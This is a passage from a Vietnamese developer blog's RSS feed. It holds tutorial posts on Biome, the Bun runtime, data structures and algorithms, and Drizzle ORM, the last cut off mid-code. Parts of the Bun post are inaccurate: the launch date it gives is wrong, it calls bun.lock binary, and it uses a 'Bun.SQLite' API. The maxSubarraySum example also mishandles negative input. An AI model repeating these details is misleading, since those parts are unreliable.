&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Cấu trúc
biome.json # root config
packages/
  web/biome.json # override
  api/biome.json
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;// packages/web/biome.json — override một phần
{
  &quot;extends&quot;: [&quot;../../biome.json&quot;],
  &quot;linter&quot;: {
    &quot;rules&quot;: {
      &quot;suspicious&quot;: {
        &quot;noConsoleLog&quot;: &quot;off&quot;
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;Biome mang lại trải nghiệm dev tooling đơn giản hơn, nhanh hơn, ít config hơn.&lt;/p&gt;
&lt;p&gt;| | ESLint + Prettier | Biome |
|---|---|---|
| Cài đặt | 5+ dependencies | 1 dependency |
| Config | 3-5 files | 0-1 file |
| Tốc độ | 1-10s | 50-500ms |
| Language | JS/TS (plugin) | JS/TS/JSX/TSX/JSON/CSS |
| Import sort | Plugin riêng | Built-in |
| Parser | 2 parsers (lint + format) | 1 parser chung |
| Rust | ❌ | ✅ |&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Chỉ cần nhớ 3 lệnh
npx biome format src/ # format
npx biome lint src/ # lint
npx biome check --apply src/ # lint + format + organize import
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Biome chưa hoàn thiện như ESLint 15 năm tuổi, nhưng cho 90% use case hàng ngày, nó nhanh hơn, đơn giản hơn, và đỡ đau đầu hơn hẳn.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://biomejs.dev&quot;&gt;Biome Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://biomejs.dev/linter/rules/&quot;&gt;Biome Linter Rules&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://biomejs.dev/formatter/&quot;&gt;Biome Formatter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eslint.org&quot;&gt;ESLint Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://prettier.io&quot;&gt;Prettier Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Bun — JavaScript Runtime Tốc Độ Cao Cho Kỷ Nguyên Mới</title><link>https://dopana-blog.pages.dev/blog/bun-javascript-runtime</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/bun-javascript-runtime</guid><description>Bun là runtime JavaScript all-in-one: chạy code, bundle, test, quản lý package — nhanh hơn Node.js đến 4 lần. Khám phá lý do Bun đang thay đổi hệ sinh thái JS.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Cuối 2024, Jarred Sumner giới thiệu Bun — và nó nhanh chóng gây sốt. Không chỉ là runtime chạy JavaScript, Bun là một all-in-one toolkit: runtime, package manager, bundler, test runner — tất cả trong một binary duy nhất.&lt;/p&gt;
&lt;p&gt;Từ đó đến nay (2026), Bun đã trưởng thành vượt bậc, đạt 90% Node.js API compatibility và trở thành lựa chọn thực tế cho nhiều dự án production.&lt;/p&gt;
&lt;h2&gt;Tốc Độ Đến Từ Đâu?&lt;/h2&gt;
&lt;p&gt;Bun nhanh hơn Node.js nhờ ba yếu tố:&lt;/p&gt;
&lt;h3&gt;1. JavaScriptCore Thay Vì V8&lt;/h3&gt;
&lt;p&gt;Hầu hết runtime JS dùng V8 (Node, Deno). Bun dùng JavaScriptCore — engine của Safari — vốn được tối ưu cho khởi động nhanh:&lt;/p&gt;
&lt;p&gt;| Runtime | Engine | Khởi động |
|---|---|---|
| Node.js | V8 | Chậm hơn (JIT warming) |
| Bun | JavaScriptCore | Nhanh hơn ~4x |
| Deno | V8 | Tương tự Node |&lt;/p&gt;
&lt;h3&gt;2. Viết Bằng Zig&lt;/h3&gt;
&lt;p&gt;Zig là ngôn ngữ hệ thống không runtime, không GC — cho phép Bun kiểm soát bộ nhớ chi tiết mà vẫn an toàn:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-zig&quot;&gt;// Zig cho phép Bun tối ưu thấp như C, an toàn như Rust
// mà không cần GC overhead
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Lazy Compilation — Không &lt;code&gt;node_modules&lt;/code&gt; Ăn Mòn&lt;/h3&gt;
&lt;p&gt;Bun không cần đọc toàn bộ dependency graph khi khởi động. Nó compile file khi thực sự cần — giảm cold start từ 500ms xuống còn ~150ms.&lt;/p&gt;
&lt;h2&gt;Bun Làm Được Gì?&lt;/h2&gt;
&lt;h3&gt;Bun Install — Thay Thế npm/yarn/pnpm&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Nhanh hơn npm ~20x, yarn ~15x
bun install

# Lockfile riêng (bun.lock) — nhẹ hơn package-lock.json 5x
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cơ chế: Bun dùng &lt;code&gt;bun.lock&lt;/code&gt; binary thay vì JSON, parse nhanh hơn. Đồng thời nó tải package song song qua HTTP/2 — không cần phải lần lượt.&lt;/p&gt;
&lt;h3&gt;Test Runner — Drop-in Replacement Cho Jest&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { describe, it, expect, mock } from &apos;bun:test&apos;;

describe(&apos;UserService&apos;, () =&gt; {
  it(&apos;should create user&apos;, async () =&gt; {
    const user = await createUser({ name: &apos;Alice&apos; });
    expect(user.name).toBe(&apos;Alice&apos;);
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bun test # Chạy test
bun test --watch # Watch mode
bun test --coverage # Coverage
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Built-in, không cần cấu hình. Nhanh hơn Jest ~10x vì không phải transform file qua Babel mỗi lần.&lt;/p&gt;
&lt;h3&gt;Bundler — Webpack/esbuild Thay Thế&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bun build ./src/index.ts --outdir ./dist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hỗ trợ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TypeScript, JSX, CSS — out-of-the-box&lt;/li&gt;
&lt;li&gt;Code splitting, tree shaking&lt;/li&gt;
&lt;li&gt;Loader plugin API&lt;/li&gt;
&lt;li&gt;Source maps&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Performance: ~1.5x nhanh hơn esbuild, ~20x nhanh hơn Webpack.&lt;/p&gt;
&lt;h3&gt;Bun.serve — HTTP Server Built-in&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;Bun.serve({
  port: 3000,
  fetch(request) {
    return new Response(&apos;Hello from Bun!&apos;);
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không cần Express, không cần hono — server HTTP chạy native từ runtime, xử lý ~300k request/giây.&lt;/p&gt;
&lt;h3&gt;Bun.file — File I/O Đơn Giản&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// Đọc file — một dòng
const file = Bun.file(&apos;data.json&apos;);
const json = await file.json();

// Ghi file
await Bun.write(&apos;output.txt&apos;, &apos;Hello&apos;);

// Stream
const stream = file.stream();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bun.sqlite — SQLite Built-in&lt;/h3&gt;
&lt;p&gt;Không cần cài thư viện — Bun có SQLite sẵn:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;const db = new Bun.SQLite(&apos;:memory:&apos;);
db.run(`
  CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT)
`);
db.run(&apos;INSERT INTO users (name) VALUES (?)&apos;, [&apos;Alice&apos;]);
const users = db.query(&apos;SELECT * FROM users&apos;).all();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Migration Từ Node.js Sang Bun&lt;/h2&gt;
&lt;p&gt;Phần lớn project Node.js chạy được ngay với Bun:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bun run index.ts # Chạy file TS trực tiếp (không cần ts-node)
bun run dev # Chạy npm script
bunx prisma generate # Bun thay thế npx
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Tương Thích Với Hệ Sinh Thái&lt;/h3&gt;
&lt;p&gt;| Package | Node.js | Bun | Ghi chú |
|---|---|---|---|
| Express | ✅ | ✅ | Tương thích |
| Fastify | ✅ | ✅ | Tương thích |
| Prisma | ✅ | ✅ | Hỗ trợ chính thức |
| Next.js | ✅ | ✅ | Bun runtime cho dev |
| Socket.IO | ✅ | ✅ | Tương thích |
| node:fs | ✅ | ✅ | API tương thích 99% |
| node:http | ✅ | ✅ | API tương thích |&lt;/p&gt;
&lt;p&gt;Một số package dùng native addon (node-gyp) cần rebuild — nhưng con số này giảm dần khi Bun phát triển.&lt;/p&gt;
&lt;h2&gt;Bun Trong Thực Tế&lt;/h2&gt;
&lt;h3&gt;CICD — Giảm 60% Thời Gian Build&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# GitHub Actions với Bun
- uses: oven-sh/setup-bun@v2
- run: bun install
- run: bun test
- run: bun run build
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Các project lớn như Vercel, Cloudflare đều hỗ trợ Bun trong pipeline từ 2025.&lt;/p&gt;
&lt;h3&gt;Serverless — Cold Start Ấn Tượng&lt;/h3&gt;
&lt;p&gt;Bun khởi động nhanh gấp 4x Node.js — lý tưởng cho serverless function (Lambda, Cloudflare Workers). Cold start từ ~800ms (Node) xuống ~200ms (Bun).&lt;/p&gt;
&lt;h3&gt;Workspace Monorepo&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bun run --filter=@app/* test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Quản lý monorepo không cần Turborepo/Nx — Bun workspace built-in hoạt động mượt.&lt;/p&gt;
&lt;h2&gt;Bun So Sánh Với Deno&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | Bun | Deno |
|---|---|---|
| Engine | JavaScriptCore | V8 |
| Ngôn ngữ | Zig | Rust |
| Package manager | Built-in | npm (third-party) |
| Test runner | Built-in | Built-in |
| Bundler | Built-in | Không |
| Node compat | ~90% | ~95% |
| Lockfile | bun.lock | deno.lock |&lt;/p&gt;
&lt;p&gt;Deno mạnh về security (permission system), Bun mạnh về tốc độ và tích hợp.&lt;/p&gt;
&lt;h2&gt;Hạn Chế (2026)&lt;/h2&gt;
&lt;p&gt;Dù đã rất tiến bộ, Bun vẫn có điểm yếu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Native addon: Một số package C++ addon chưa compatible&lt;/li&gt;
&lt;li&gt;Windows: Chạy được nhưng chưa mượt bằng macOS/Linux&lt;/li&gt;
&lt;li&gt;Ecosystem depth: Một số tool niche chưa test đầy đủ trên Bun&lt;/li&gt;
&lt;li&gt;Production tracking: Ít case study production quy mô lớn hơn Node&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Bun không thay thế Node.js ngay lập tức — nhưng nó đặt ra chuẩn mới cho runtime JavaScript:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tốc độ: Khởi động nhanh, thực thi nhanh&lt;/li&gt;
&lt;li&gt;Tích hợp: Một binary thay cả npm + Jest + Webpack + Node&lt;/li&gt;
&lt;li&gt;Tương thích: Chạy được code Node.js hiện có&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nếu bạn bắt đầu project mới, Bun là lựa chọn mặc định tốt. Với project cũ, có thể migrate dần — bắt đầu từ &lt;code&gt;bun install&lt;/code&gt; và &lt;code&gt;bun test&lt;/code&gt; trước, khi thấy ổn thì chuyển hẳn sang &lt;code&gt;bun run&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Bun không làm JavaScript chạy nhanh hơn — nó làm developer chạy nhanh hơn.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bun.sh/docs&quot;&gt;Bun Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bun.sh/docs/api&quot;&gt;Bun API Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bun.sh/docs/cli/test&quot;&gt;Bun — Test Runner&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bun.sh/docs/bundler&quot;&gt;Bun — Bundler&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bun.sh/docs/api/sqlite&quot;&gt;Bun — SQLite&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/oven-sh/setup-bun&quot;&gt;oven-sh/setup-bun — GitHub Action&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Data Structures &amp; Algorithms — Từ Cơ Bản Đến Phỏng Vấn</title><link>https://dopana-blog.pages.dev/blog/data-structures-algorithms</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/data-structures-algorithms</guid><description>Cấu trúc dữ liệu và thuật toán cốt lõi: Array, Linked List, Tree, Graph, Sorting — và mẹo cho phỏng vấn.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Data Structures &amp;#x26; Algorithms (DSA) là nền tảng của khoa học máy tính. Không chỉ cho phỏng vấn — nó giúp bạn viết code hiệu quả hơn.&lt;/p&gt;
&lt;h2&gt;Array&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Mảng — contiguous memory, O(1) access, O(n) insert/delete
const arr = [1, 2, 3, 4, 5];

// Two-pointer — kỹ thuật phổ biến
function twoSum(nums: number[], target: number): number[] {
  let left = 0, right = nums.length - 1;
  while (left &amp;#x3C; right) {
    const sum = nums[left] + nums[right];
    if (sum === target) return [left, right];
    if (sum &amp;#x3C; target) left++;
    else right--;
  }
  return [];
}

// Sliding window
function maxSubarraySum(nums: number[], k: number): number {
  let max = 0, window = 0;
  for (let i = 0; i &amp;#x3C; nums.length; i++) {
    window += nums[i];
    if (i &gt;= k) window -= nums[i - k];
    if (i &gt;= k - 1) max = Math.max(max, window);
  }
  return max;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Linked List&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;class ListNode {
  constructor(public val: number, public next: ListNode | null = null) {}
}

// Reverse linked list
function reverseList(head: ListNode | null): ListNode | null {
  let prev = null;
  let curr = head;
  while (curr) {
    const next = curr.next;
    curr.next = prev;
    prev = curr;
    curr = next;
  }
  return prev;
}

// Detect cycle (Floyd&apos;s algorithm)
function hasCycle(head: ListNode | null): boolean {
  let slow = head, fast = head;
  while (fast?.next) {
    slow = slow!.next;
    fast = fast.next.next;
    if (slow === fast) return true;
  }
  return false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Stack &amp;#x26; Queue&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Stack — LIFO (Last In, First Out)
// Dùng: undo, bracket matching, DFS
function isValidBrackets(s: string): boolean {
  const stack: string[] = [];
  const pairs: Record&amp;#x3C;string, string&gt; = { &apos;)&apos;: &apos;(&apos;, &apos;}&apos;: &apos;{&apos;, &apos;]&apos;: &apos;[&apos; };

  for (const char of s) {
    if (&apos;({[&apos;.includes(char)) {
      stack.push(char);
    } else {
      if (stack.pop() !== pairs[char]) return false;
    }
  }
  return stack.length === 0;
}

// Queue — FIFO (First In, First Out)
// Dùng: BFS, task processing, message queue
class Queue&amp;#x3C;T&gt; {
  private items: T[] = [];
  enqueue(item: T) { this.items.push(item); }
  dequeue(): T | undefined { return this.items.shift(); }
  isEmpty(): boolean { return this.items.length === 0; }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hash Table&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// O(1) average lookup — dùng Map/Set
const countMap = new Map&amp;#x3C;string, number&gt;();

// Đếm frequency
for (const char of str) {
  countMap.set(char, (countMap.get(char) || 0) + 1);
}

// Two Sum với Hash Map
function twoSum(nums: number[], target: number): number[] {
  const map = new Map&amp;#x3C;number, number&gt;();
  for (let i = 0; i &amp;#x3C; nums.length; i++) {
    const complement = target - nums[i];
    if (map.has(complement)) return [map.get(complement)!, i];
    map.set(nums[i], i);
  }
  return [];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tree&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;class TreeNode {
  constructor(
    public val: number,
    public left: TreeNode | null = null,
    public right: TreeNode | null = null,
  ) {}
}

// DFS — Depth First Search
function inorderTraversal(root: TreeNode | null): number[] {
  const result: number[] = [];
  function dfs(node: TreeNode | null) {
    if (!node) return;
    dfs(node.left);
    result.push(node.val);   // In-order
    dfs(node.right);
  }
  dfs(root);
  return result;
}

// BFS — Level Order
function levelOrder(root: TreeNode | null): number[][] {
  if (!root) return [];
  const queue = [root];
  const result: number[][] = [];

  while (queue.length) {
    const levelSize = queue.length;
    const level: number[] = [];

    for (let i = 0; i &amp;#x3C; levelSize; i++) {
      const node = queue.shift()!;
      level.push(node.val);
      if (node.left) queue.push(node.left);
      if (node.right) queue.push(node.right);
    }
    result.push(level);
  }
  return result;
}

// Validate BST
function isValidBST(root: TreeNode | null, min = -Infinity, max = Infinity): boolean {
  if (!root) return true;
  if (root.val &amp;#x3C;= min || root.val &gt;= max) return false;
  return isValidBST(root.left, min, root.val) &amp;#x26;&amp;#x26;
         isValidBST(root.right, root.val, max);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Graph&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Adjacency list
const graph = new Map&amp;#x3C;number, number[]&gt;();
graph.set(1, [2, 3]);
graph.set(2, [4]);
graph.set(3, [4, 5]);

// DFS
function dfs(graph: Map&amp;#x3C;number, number[]&gt;, start: number): number[] {
  const visited = new Set&amp;#x3C;number&gt;();
  const result: number[] = [];

  function explore(node: number) {
    if (visited.has(node)) return;
    visited.add(node);
    result.push(node);
    for (const neighbor of graph.get(node) || []) {
      explore(neighbor);
    }
  }
  explore(start);
  return result;
}

// BFS
function bfs(graph: Map&amp;#x3C;number, number[]&gt;, start: number): number[] {
  const visited = new Set&amp;#x3C;number&gt;([start]);
  const queue = [start];
  const result: number[] = [];

  while (queue.length) {
    const node = queue.shift()!;
    result.push(node);
    for (const neighbor of graph.get(node) || []) {
      if (!visited.has(neighbor)) {
        visited.add(neighbor);
        queue.push(neighbor);
      }
    }
  }
  return result;
}

// Dijkstra — Shortest Path
function dijkstra(graph: Map&amp;#x3C;number, [number, number][]&gt;, start: number): Map&amp;#x3C;number, number&gt; {
  const distances = new Map&amp;#x3C;number, number&gt;();
  const visited = new Set&amp;#x3C;number&gt;();
  const pq: [number, number][] = [[start, 0]]; // [node, distance]

  distances.set(start, 0);

  while (pq.length) {
    pq.sort((a, b) =&gt; a[1] - b[1]);
    const [node, dist] = pq.shift()!;
    if (visited.has(node)) continue;
    visited.add(node);

    for (const [neighbor, weight] of graph.get(node) || []) {
      const newDist = dist + weight;
      if (newDist &amp;#x3C; (distances.get(neighbor) ?? Infinity)) {
        distances.set(neighbor, newDist);
        pq.push([neighbor, newDist]);
      }
    }
  }
  return distances;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Sorting&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Quick Sort — O(n log n) average
function quickSort(arr: number[]): number[] {
  if (arr.length &amp;#x3C;= 1) return arr;
  const pivot = arr[Math.floor(arr.length / 2)];
  const left = arr.filter(x =&gt; x &amp;#x3C; pivot);
  const middle = arr.filter(x =&gt; x === pivot);
  const right = arr.filter(x =&gt; x &gt; pivot);
  return [...quickSort(left), ...middle, ...quickSort(right)];
}

// Merge Sort — O(n log n) ổn định
function mergeSort(arr: number[]): number[] {
  if (arr.length &amp;#x3C;= 1) return arr;
  const mid = Math.floor(arr.length / 2);
  const left = mergeSort(arr.slice(0, mid));
  const right = mergeSort(arr.slice(mid));
  return merge(left, right);
}

function merge(left: number[], right: number[]): number[] {
  const result: number[] = [];
  let i = 0, j = 0;
  while (i &amp;#x3C; left.length &amp;#x26;&amp;#x26; j &amp;#x3C; right.length) {
    result.push(left[i] &amp;#x3C; right[j] ? left[i++] : right[j++]);
  }
  return [...result, ...left.slice(i), ...right.slice(j)];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Big O — Time Complexity&lt;/h2&gt;
&lt;p&gt;| Cấu trúc | Access | Search | Insert | Delete |
|---|---|---|---|---|
| Array | O(1) | O(n) | O(n) | O(n) |
| Stack | O(n) | O(n) | O(1) | O(1) |
| Queue | O(n) | O(n) | O(1) | O(1) |
| Linked List | O(n) | O(n) | O(1) | O(1) |
| Hash Table | O(1)* | O(1)* | O(1)* | O(1)* |
| BST | O(log n) | O(log n) | O(log n) | O(log n) |&lt;/p&gt;
&lt;h2&gt;Mẹo Phỏng Vấn&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// 1. Brute force trước, optimize sau
// 2. Nói to suy nghĩ (think aloud)
// 3. Edge cases: empty, single element, all same
// 4. Time &amp;#x26; space complexity

// Common patterns:
// - Two pointers (sorted array)
// - Sliding window (subarray)
// - Binary search (sorted data)
// - BFS/DFS (tree, graph)
// - Hash map (counting, lookup)
// - Dynamic programming (overlapping subproblems)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;DSA là kỹ năng nền tảng. Học theo thứ tự:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Array + Hash Table — hay dùng nhất&lt;/li&gt;
&lt;li&gt;Stack + Queue — pattern cơ bản&lt;/li&gt;
&lt;li&gt;Linked List — pointer manipulation&lt;/li&gt;
&lt;li&gt;Tree + Graph — traversal, recursion&lt;/li&gt;
&lt;li&gt;Sorting — divide and conquer&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Luyện tập: LeetCode (Easy → Medium), daily challenge. Không cần giải Hard — focus vào pattern recognition.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mitpress.mit.edu/books/introduction-algorithms-fourth-edition/&quot;&gt;MIT Introduction to Algorithms (CLRS)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bigocheatsheet.com/&quot;&gt;Big O Cheatsheet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.khanacademy.org/computing/computer-science/algorithms&quot;&gt;Khan Academy — Algorithms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://visualgo.net/&quot;&gt;Visualgo — Algorithm Visualizer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Drizzle ORM — SQL Cho TypeScript Type-Safe</title><link>https://dopana-blog.pages.dev/blog/drizzle-orm-sql-cho-typescript-type-safe</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/drizzle-orm-sql-cho-typescript-type-safe</guid><description>Drizzle ORM là TypeScript ORM kiểu SQL-first, nhẹ hơn Prisma, không codegen, chạy trên edge. Schema → query type-safe trực tiếp.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Drizzle ORM là TypeScript ORM &quot;SQL-like&quot; — bạn viết SQL, nó suy ra type.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { drizzle } from &apos;drizzle-orm/better-sqlite3&apos;
import { sqliteTable, text, integer } from &apos;drizzle-orm/sqlite-core&apos;
import Database from &apos;better-sqlite3&apos;

const db = drizzle(new Database(&apos;blog.db&apos;))

const users = sqliteTable(&apos;users&apos;, {
  id: integer().primaryKey({ autoIncrement: true }),
  name: text().notNull(),
  email: text().notNull().unique(),
})

// Query — type-safe, SQL-like syntax
const result = await db.select()
  .from(users)
  .where(eq(users.email, &apos;alice@example.com&apos;))
// result: { id: number; name: string; email: string }[]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không Prisma schema riêng, không codegen, không chạy CLI để generate type. Schema = code → type suy ra tự động.&lt;/p&gt;
&lt;h2&gt;Drizzle vs Prisma&lt;/h2&gt;
&lt;p&gt;| | Prisma | Drizzle |
|---|---|---|
| Schema | SDL riêng (&lt;code&gt;.prisma&lt;/code&gt;) | TypeScript code |
| Codegen | &lt;code&gt;prisma generate&lt;/code&gt; | Không cần |
| Kích thước | ~30MB | ~500KB |
| Edge support | ⚠️ Hạn chế | ✅ Native |
| SQL-like query | ❌ | ✅ |
| Raw SQL | ⚠️ | ✅ Dễ |
| Migration | prisma migrate | drizzle-kit push/migrate |
| Join | &lt;code&gt;include&lt;/code&gt;/&lt;code&gt;select&lt;/code&gt; | &lt;code&gt;leftJoin&lt;/code&gt;/&lt;code&gt;innerJoin&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;Drizzle nhẹ hơn, TypeScript-native hơn, và chạy được trên edge (Cloudflare Workers, Deno, Bun).&lt;/p&gt;
&lt;h2&gt;Schema&lt;/h2&gt;
&lt;h3&gt;SQLite&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { sqliteTable, text, integer, real } from &apos;drizzle-orm/sqlite-core&apos;

export const posts = sqliteTable(&apos;posts&apos;, {
  id: integer().primaryKey({ autoIncrement: true }),
  title: text().notNull(),
  slug: text().notNull().unique(),
  content: text().notNull(),
  publishedAt: integer({ mode: &apos;timestamp&apos; }).notNull(),
  views: integer().default(0),
  rating: real(),
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PostgreSQL&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { pgTable, text, integer, timestamp, serial } from &apos;drizzle-orm/pg-core&apos;

export const users = pgTable(&apos;users&apos;, {
  id: serial().primaryKey(),
  name: text().notNull(),
  email: text().notNull().unique(),
  createdAt: timestamp().defaultNow().notNull(),
  role: text().$type&amp;#x3C;&apos;admin&apos; | &apos;user&apos; | &apos;moderator&apos;&gt;().default(&apos;user&apos;),
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;MySQL&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { mysqlTable, int, text, varchar } from &apos;drizzle-orm/mysql-core&apos;

export const products = mysqlTable(&apos;products&apos;, {
  id: int().primaryKey().autoincrement(),
  name: varchar({ length: 255 }).notNull(),
  price: int().notNull(),
  description: text(),
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Query&lt;/h2&gt;
&lt;h3&gt;SELECT&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Tất cả columns
const all = await db.select().from(users)

// Column cụ thể
const names = await db.select({ name: users.name }).from(users)

// WHERE
const active = await db.select()
  .from(users)
  .where(eq(users.status, &apos;active&apos;))

// WHERE với nhiều điều kiện
const result = await db.select()
  .from(users)
  .where(and(
    eq(users.status, &apos;active&apos;),
    gte(users.age, 18),
    like(users.name, &apos;%Alice%&apos;),
  ))

// ORDER BY + LIMIT + OFFSET
const page = await db.select()
  .from(users)
  .orderBy(desc(users.createdAt))
  .limit(10)
  .offset(0)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;INSERT&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Single
const [user] = await db.insert(users).values({
  name: &apos;Alice&apos;,
  email: &apos;alice@example.com&apos;,
}).returning()

// Bulk
await db.insert(users).values([
  { name: &apos;Bob&apos;, email: &apos;bob@example.com&apos; },
  { name: &apos;Charlie&apos;, email: &apos;charlie@example.com&apos; },
])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;UPDATE&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;await db.update(users)
  .set({ name: &apos;Alice Updated&apos; })
  .where(eq(users.id, 1))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;DELETE&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;await db.delete(users)
  .where(eq(users.id, 1))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Relations &amp;#x26; Join&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { relations } from &apos;drizzle-orm&apos;

export const users = sqliteTable(&apos;users&apos;, {
  id: integer().primaryKey({ autoIncrement: true }),
  name: text().notNull(),
})

export const posts = sqliteTable(&apos;posts&apos;, {
  id: integer().primaryKey({ autoIncrement: true }),
  title: text().notNull(),
  authorId: integer().notNull().references(() =&gt; users.id),
